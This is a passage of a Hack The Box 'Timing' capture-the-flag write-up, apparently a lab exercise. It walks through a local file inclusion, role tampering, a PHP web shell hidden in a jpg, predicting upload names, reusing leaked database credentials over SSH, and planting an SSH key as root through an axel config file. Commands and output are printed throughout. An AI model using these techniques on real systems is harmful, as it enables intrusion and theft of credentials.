news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
```

We can directly decode it and grep for user details. We got 'aaron' user. Now we can read files local files which we found in our initial directory brute force.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=upload.php' | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1360  100  1360    0     0   1730      0 --:--:-- --:--:-- --:--:--  1728
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>
```

'Upload.php' gives us another piece of information. But it only works if we have access to upload functionality. There's Authentication check file, let's look into it first.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php' | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   268  100   268    0     0    379      0 --:--:-- --:--:-- --:--:--   379
<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>
```

To access upload feature the user should have a 'role 1', if not, this feature is not available. Now we need to find a way to login. There are no any files which has login details. However, if we login using previously found user 'aaron' as username and password, then it'd give you dashboard.

It say's logged in as user 2.

The only way to edit the role is when we update user profile. Let's edit the profile and intercept the update request in burp.

No need to change anything from the above input, as it only concerns about role ID.

``` bash
POST /profile_update.php HTTP/1.1
Host: timing.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 53
Origin: http://timing.htb
Connection: close
Referer: http://timing.htb/profile.php
Cookie: PHPSESSID=fo9jpkl47lftjuf6pghqqgtqja

firstName=aaron&lastName=test&email=test&company=test&role=1
```

Add the role to data and forward the request and refresh the page. You will see 'admin panel'

Admin panel has upload image feature.

Now it's time to look into 'upload.php' code.

``` bash
$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}
```

Above code is what we will look into. Uploaded files will be moved to '/images/uploads/' directory. File Extension must have 'jpg', and upon upload the filename will be changed to MD5 sum. The logic behind creating this MD5 sum is, it takes two things as input, '$file_hash' and 'time())' and then adds the base filename of uploaded file to that hash.

According to PHP, uniqid() function generates a unique ID based on the microtime (the current time in microseconds). In PHP single quote (') and double quote(") have different meanings and interpretations.

***Single quoted strings will display things almost completely "as is.”. Double quote strings will display a host of escaped characters (including some regexes), and variables in the strings will be evaluated.***

So, uniqid() is just a rabbit hole, it is taking $file_hash as string to generate MD5 hash. However, time()) is also being used as factor to generate MD5. It is considering current time in seconds, that means every second will get a new hash. We need to match the upload time to get the right hash. For that we need to make sure our local machine time is not far behind or a head.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# nmap -p 80 --script http-date -v timing.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-18 09:43 EST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:43
Completed NSE at 09:43, 0.00s elapsed
Initiating Ping Scan at 09:43
Scanning timing.htb (10.10.11.135) [4 ports]
Completed Ping Scan at 09:43, 0.39s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:43
Scanning timing.htb (10.10.11.135) [1 port]
Discovered open port 80/tcp on 10.10.11.135
Completed SYN Stealth Scan at 09:43, 0.39s elapsed (1 total ports)
NSE: Script scanning 10.10.11.135.
Initiating NSE at 09:43
Completed NSE at 09:43, 2.08s elapsed
Nmap scan report for timing.htb (10.10.11.135)
Host is up (0.35s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-date: Sat, 18 Dec 2021 14:43:51 GMT; +1s from local time.

NSE: Script Post-scanning.
Initiating NSE at 09:43
Completed NSE at 09:43, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.23 seconds
           Raw packets sent: 5 (196B) | Rcvd: 4 (588B)
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# date                                                                                                             
2021年 12月 18日 星期六 09:43:52 EST
```

You can check the date and match it with your time using nmap. Target is '-16' seconds behind from my local time. You just need to confirm time, make sure to set your time to GMT.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# timedatectl set-timezone GMT
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# nmap -p 80 --script http-date -v timing.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-18 14:47 GMT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:47
Completed NSE at 14:47, 0.00s elapsed
Initiating Ping Scan at 14:47
Scanning timing.htb (10.10.11.135) [4 ports]
Completed Ping Scan at 14:47, 0.44s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:47
Scanning timing.htb (10.10.11.135) [1 port]
Discovered open port 80/tcp on 10.10.11.135
Completed SYN Stealth Scan at 14:47, 0.45s elapsed (1 total ports)
NSE: Script scanning 10.10.11.135.
Initiating NSE at 14:47
Completed NSE at 14:47, 2.61s elapsed
Nmap scan report for timing.htb (10.10.11.135)
Host is up (0.39s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-date: Sat, 18 Dec 2021 14:47:40 GMT; 0s from local time.

NSE: Script Post-scanning.
Initiating NSE at 14:47
Completed NSE at 14:47, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.79 seconds
           Raw packets sent: 5 (196B) | Rcvd: 2 (84B)
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# date
2021年 12月 18日 星期六 14:47:44 GMT
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# cat demo.jpg
<?php system($_GET[cmd]);?>
```

Create a jpg file with PHP code which can give code execution access. Now we need to start a PHP interactive shell, where we run continuously run PHP code to generate hash based on time and string.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# php -a
Interactive mode enabled

php > while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' . time());echo "\n";sleep(1);}
Sat Dec 18 14:53:10 UTC 2021 = 1a733cff506cb1313d5f1f495ab8296c
Sat Dec 18 14:53:11 UTC 2021 = 3dede351b682585854ab39ca71b4dfc3
Sat Dec 18 14:53:12 UTC 2021 = 40ecf3c85f74f6aba4c8cb13450e6327
Sat Dec 18 14:53:13 UTC 2021 = 9fb581a1b355eff367ab44f9855a1b66
Sat Dec 18 14:53:14 UTC 2021 = a6bd2452092174471a920790925c0b2c
......
```

Keep it going, do not terminate it. Now we need to upload that recently created jpg file, intercept the upload request, send it to repeater, check the response time and match the time with PHP hash.

``` bash
HTTP/1.1 200 OK
Date: Sat, 18 Dec 2021 15:26:25 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 27
Connection: close
Content-Type: text/html; charset=UTF-8

The file has been uploaded.
```

Check burp response time and find the matching hash of that time from PHP interactive session.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# php -a                                                                                                           
Interactive mode enabled

php > while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' . time());echo "\n";sleep(1);}
Sat Dec 18 15:26:22 UTC 2021 = 12b8b15cb7d8c2478917de1bd09d0b90
Sat Dec 18 15:26:23 UTC 2021 = 5c472b960701353862e6667809ad9cc5
Sat Dec 18 15:26:24 UTC 2021 = 2faeeb4ca04516e9cf6bb199c9c5c9db
Sat Dec 18 15:26:25 UTC 2021 = a2f22cd589ca87a005c5f56a96a4189e
......
```

Response time is 15:26:25 Copy the hash, add the base filename of uploaded jpg file and access it via img query parameter.

#### Initial Access

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=images/uploads/a2f22cd589ca87a005c5f56a96a4189e_demo.jpg&cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

As you can see we have a code execution. This machine will not easily provide you reverse shell, as firewall (iptables) are in place to block outgoing request from a www-data user.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=images/uploads/a2f22cd589ca87a005c5f56a96a4189e_demo.jpg&cmd=ls+-la+/opt'
total 624
drwxr-xr-x  2 root root   4096 Dec  2 11:19 .
drwxr-xr-x 24 root root   4096 Nov 29 01:34 ..
-rw-r--r--  1 root root 627851 Jul 20 22:36 source-files-backup.zip
```

'/opt' directory has a backup of website. Let's download it first.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=images/uploads/a2f22cd589ca87a005c5f56a96a4189e_demo.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/images/uploads/'
```

We can't directory access the zip file, so copy it to uploads Directory and from there we can download it.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# curl 'http://timing.htb/image.php?img=images/uploads/source-files-backup.zip' --output source-files-backup.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  613k    0  613k    0     0  12744      0 --:--:--  0:00:49 --:--:-- 16798
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# ls -la
总用量 628
drwxr-xr-x   2 root root   4096 12月 18 15:36 .
drwxr-xr-x 228 root root   4096 12月 18 08:33 ..
-rw-r--r--   1 root root     27 12月 18 14:50 demo.jpg
-rw-r--r--   1 root root 627851 12月 18 15:37 source-files-backup.zip
```

Extract or unzip the file and you will .git repository.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing/backup]
└─# ls -la
总用量 76
drwxr-xr-x 6 root root 4096  7月 20 22:34 .
drwxr-xr-x 3 root root 4096 12月 18 15:42 ..
-rw-r--r-- 1 root root  200  7月 20 22:34 admin_auth_check.php
-rw-r--r-- 1 root root  373  7月 20 22:34 auth_check.php
-rw-r--r-- 1 root root 1268  7月 20 22:34 avatar_uploader.php
drwxr-xr-x 2 root root 4096  7月 20 22:34 css
-rw-r--r-- 1 root root   92  7月 20 22:34 db_conn.php
-rw-r--r-- 1 root root 3937  7月 20 22:34 footer.php
drwxr-xr-x 8 root root 4096  7月 20 22:35 .git
-rw-r--r-- 1 root root 1498  7月 20 22:34 header.php
-rw-r--r-- 1 root root  507  7月 20 22:34 image.php
drwxr-xr-x 3 root root 4096  7月 20 22:34 images
-rw-r--r-- 1 root root  188  7月 20 22:34 index.php
drwxr-xr-x 2 root root 4096  7月 20 22:34 js
-rw-r--r-- 1 root root 2074  7月 20 22:34 login.php
-rw-r--r-- 1 root root  113  7月 20 22:34 logout.php
-rw-r--r-- 1 root root 3041  7月 20 22:34 profile.php
-rw-r--r-- 1 root root 1740  7月 20 22:34 profile_update.php
-rw-r--r-- 1 root root  984  7月 20 22:34 upload.php
```

Let's git commits using gittools.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing/backup]
└─# /root/GitTools-master/Extractor/extractor.sh . source
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 16de2698b5b122c93461298eab730d00273bd83e
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/admin_auth_check.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/auth_check.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/avatar_uploader.php
[+] Found folder: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/css
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/css/bootstrap.min.css
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/css/login.css
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/footer.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/header.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/image.php
[+] Found folder: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/images
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/images/background.jpg                                                                                                            
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/images/user-icon.png                                                                                                             
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/index.php
[+] Found folder: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/js
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/js/avatar_uploader.js                                                                                                            
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/js/bootstrap.min.js                                                                                                              
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/js/jquery.min.js                                                                                                                 
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/js/profile.js                                                                                                                    
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/login.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/logout.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/profile.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/profile_update.php                                                                                                               
[+] Found file: /root/hackthebox/machine/timing/backup/source/0-16de2698b5b122c93461298eab730d00273bd83e/upload.php
[+] Found commit: e4e214696159a25c69812571c8214d2bf8736a3f
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/admin_auth_check.php                                                                                                             
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/auth_check.php                                                                                                                   
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/avatar_uploader.php                                                                                                              
[+] Found folder: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/css
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/css/bootstrap.min.css                                                                                                            
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/css/login.css                                                                                                                    
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/footer.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/header.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/image.php
[+] Found folder: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/images
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/images/background.jpg                                                                                                            
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/images/user-icon.png                                                                                                             
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/index.php
[+] Found folder: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/js
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/js/avatar_uploader.js                                                                                                            
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/js/bootstrap.min.js                                                                                                              
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/js/jquery.min.js                                                                                                                 
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/js/profile.js                                                                                                                    
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/login.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/logout.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/profile.php
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/profile_update.php                                                                                                               
[+] Found file: /root/hackthebox/machine/timing/backup/source/1-e4e214696159a25c69812571c8214d2bf8736a3f/upload.php
```

After commit extraction, you will see two directories. Now we need to find what has changed in terms of code.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing/backup/source]
└─# ls
0-16de2698b5b122c93461298eab730d00273bd83e  1-e4e214696159a25c69812571c8214d2bf8736a3f
┌──(root💀kali)-[~/hackthebox/machine/timing/backup/source]
└─# diff 0-16de2698b5b122c93461298eab730d00273bd83e/ 1-e4e214696159a25c69812571c8214d2bf8736a3f/
diff '--color=auto' 0-16de2698b5b122c93461298eab730d00273bd83e/commit-meta.txt 1-e4e214696159a25c69812571c8214d2bf8736a3f/commit-meta.txt
1,4c1,3
< tree dcbc181650833009145874df7da85b4c6d84b2ca
< parent e4e214696159a25c69812571c8214d2bf8736a3f
< author grumpy <grumpy@localhost.com> 1626820453 +0000
< committer grumpy <grumpy@localhost.com> 1626820453 +0000
---
> tree fd7fb62599f9702baeb0abdc42a8a4b68e49ec23
> author grumpy <grumpy@localhost.com> 1626820434 +0000
> committer grumpy <grumpy@localhost.com> 1626820434 +0000
6c5
< db_conn updated
---
> init
0-16de2698b5b122c93461298eab730d00273bd83e/css 和 1-e4e214696159a25c69812571c8214d2bf8736a3f/css 有共同的子目录
diff '--color=auto' 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
2c2
< $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
---
> $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
0-16de2698b5b122c93461298eab730d00273bd83e/images 和 1-e4e214696159a25c69812571c8214d2bf8736a3f/images 有共同的子目录
0-16de2698b5b122c93461298eab730d00273bd83e/js 和 1-e4e214696159a25c69812571c8214d2bf8736a3f/js 有共同的子目录
```

Database connection credentials has been modified. Let's try these creds on user SSH login.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# ssh aaron@10.10.11.135
The authenticity of host '10.10.11.135 (10.10.11.135)' can't be established.
ED25519 key fingerprint is SHA256:l+I6D4WoPXSUZt7KMuKochzDuE9R21TrDSgg9nJcD5I.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.135' (ED25519) to the list of known hosts.
aaron@10.10.11.135's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Dec 18 15:47:36 UTC 2021

  System load:  0.0               Processes:           172
  Usage of /:   89.8% of 4.85GB   Users logged in:     0
  Memory usage: 47%               IP address for eth0: 10.10.11.135
  Swap usage:   0%

  => / is using 89.8% of 4.85GB


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


aaron@timing:~$ id
uid=1000(aaron) gid=1000(aaron) groups=1000(aaron)
aaron@timing:~$ whoami
aaron
aaron@timing:~$ cat user.txt 
52202751554f6dc8c14dc2a637fca55a
```

The second password is being reused as 'aaron' user's password.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2120.jpg)

#### Privilege Escalation - root

``` bash
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils
```

User can run a binary with root privileges. Let's look into it.

``` bash
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
```

It is a shell script, running a java application from root's directory. Let's interact with it.

``` bash
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
```

Upon execution of the binary, it gives us two options, FTP and HTTP. Setup a HTTP server on Kali and download test file.

``` bash
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: 10.10.14.30/test.txt
Initializing download: http://10.10.14.30/test.txt
File size: 5 bytes
Opening output file test.txt
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 5 byte in 0 seconds. (0.01 KB/s)
```

After download check the downloaded file in 'aaron' user's home directory or current working directory.

``` bash
aaron@timing:~$ ls -la test.txt 
-rw-r--r-- 1 root root 5 Dec 18 15:54 test.txt
```

As you can see the file permissions are of root user and 'aaron' user has read access to it. We still don't know what's happening behind scene. Let's run a pspy in one SSH terminal and in another execute sudo binary to find what's happening.

``` bash
2021/12/15 10:28:04 CMD: UID=0 PID=74557 | wget -r ftp://10.10.14.30
2021/12/15 10:28:30 CMD: UID=0 PID=74623 | /root/axel http://10.10.14.30
```

These two applications are being used behind the scene to download files. FTP is using wget and HTTP is using Axel application. We can get the 'Axel' application version via netcat.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# nc -lvnp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.135.
Ncat: Connection from 10.10.11.135:47068.
GET /test.txt HTTP/1.0
Host: 10.10.14.30
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)
```

The user agent disclose application version. This version has no any CVEs. 'Axel' application has a configuration file via that we can dump our SSH public keys as authorized_keys.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# locate axel
/usr/share/doc/axel/examples/axelrc.example
```

If you are on kali, you will find example axelrc file.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# cat /usr/share/doc/axel/examples/axelrc.example
......
# When downloading a HTTP directory/index page, (like http://localhost/~me/)
# what local filename do we have to store it in?
#
# default_filename = default
......
```

This 'default_filename' will be activated when downloading something without any filename from 'axel'.

``` bash
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.30/
Initializing download: http://10.10.14.30/
File size: 382 bytes
Opening output file default
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 382 byte in 0 seconds. (0.41 KB/s)
```

As you can see from the above example, to download I didn't provide any file name. Even thou it dowloaded something and saved it as 'default'

``` bash
aaron@timing:~$ ls -la default 
-rw-r--r-- 1 root root 382 Dec 18 16:08 default
aaron@timing:~$ cat default
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /</title>
<body>
<h2>Directory listing for /</h2>
<hr>
<ul>
<li><a href="axelrc">axelrc</a>
<li><a href="backup/">backup/</a>
<li><a href="demo.jpg">demo.jpg</a>
<li><a href="source-files-backup.zip">source-files-backup.zip</a>
<li><a href="test.txt">test.txt</a>
</ul>
<hr>
</body>
</html>
```

If we read the 'default' file, then we will see HTML format of directory listing page.It just download the whole page and saved it as 'default'. If we look closely, all the downloaded files have root's permissions. We can use it our advantage.

``` bash
cat axelrc
---------SNIP---------
# When downloading a HTTP directory/index page, (like http://localhost/~me/)
# what local filename do we have to store it in?
#
default_filename = /root/.ssh/authorized_keys
---------SNIP---------
```

Change the 'default_filename' to '/root/.ssh/authorized_keys', save it. Download this file to 'aaron' user's home directory and save it as .axelrc. 

If we download something without providing file name then it will be dumped into 'root' directory. So we will dump our Kali SSH public key and save it as 'authorized_keys'. But as we saw previously, it saves it in HTML format. For that we need to create new directory and save your Kali public key as index.html

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# cp /root/.ssh/id_rsa .
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# cp /root/.ssh/id_rsa.pub index.html
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# cat index.html                                                                                                   
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali
┌──(root💀kali)-[~/hackthebox/machine/timing]
└─# chmod 600 id_rsa
```

Now we are set to execute this. Setup a HTTP server where your Kali SSH key file is and download it via netutils HTTP option.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/timing]
